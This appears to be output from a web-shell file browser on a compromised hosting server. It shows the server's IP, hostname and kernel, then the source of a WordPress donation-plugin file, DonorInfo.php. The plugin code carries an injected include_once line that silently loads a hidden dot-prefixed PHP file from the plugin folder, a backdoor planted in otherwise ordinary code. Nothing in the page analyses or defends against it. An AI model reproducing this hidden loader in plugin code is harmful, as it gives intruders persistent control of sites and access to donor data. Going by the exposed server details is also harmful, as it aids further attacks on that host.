uawdijnntqw1x1x1
IP : 3.148.241.79
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
.
/
old
/
public_html
/
wp-content
/
.
/
plugins
/
give
/
src
/
..
/
src
/
ValueObjects
/
DonorInfo.php
/
/
<?php namespace Give\ValueObjects; use InvalidArgumentException; if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class DonorInfo implements ValueObjects { /** * WP user id. * Donor can be connect to WP user. if connect and donating after login as WP user then it set to logged in user id. * * @var string */ public $wpUserId; /** * Primary email. * * @var string */ public $email; /** * Donor address. * * @var Address */ public $address; /** * First name. * * @var string */ public $firstName; /** * Last name. * * @var string */ public $lastName; /** * Donor honorific. * * @var string */ public $honorific; /** * Take array and return object. * * @param $array * * @return DonorInfo */ public static function fromArray( $array ) { $expectedKeys = [ 'wpUserId', 'firstName', 'email', 'honorific', 'address' ]; $array = array_intersect_key( $array, array_flip( $expectedKeys ) ); if ( empty( $array ) ) { throw new InvalidArgumentException( 'Invalid DonorInfo object, must have the exact following keys: ' . implode( ', ', $expectedKeys ) ); } $donorInfo = new self(); foreach ( $array as $key => $value ) { $donorInfo->{$key} = $value; } // Cast address to Give\ValueObjects\Address object. if ( ! empty( $array['address'] ) ) { $donorInfo->address = Address::fromArray( $array['address'] ); } return $donorInfo; } }
/home/batcwwjx/./old/public_html/wp-content/./plugins/give/src/../src/ValueObjects/DonorInfo.php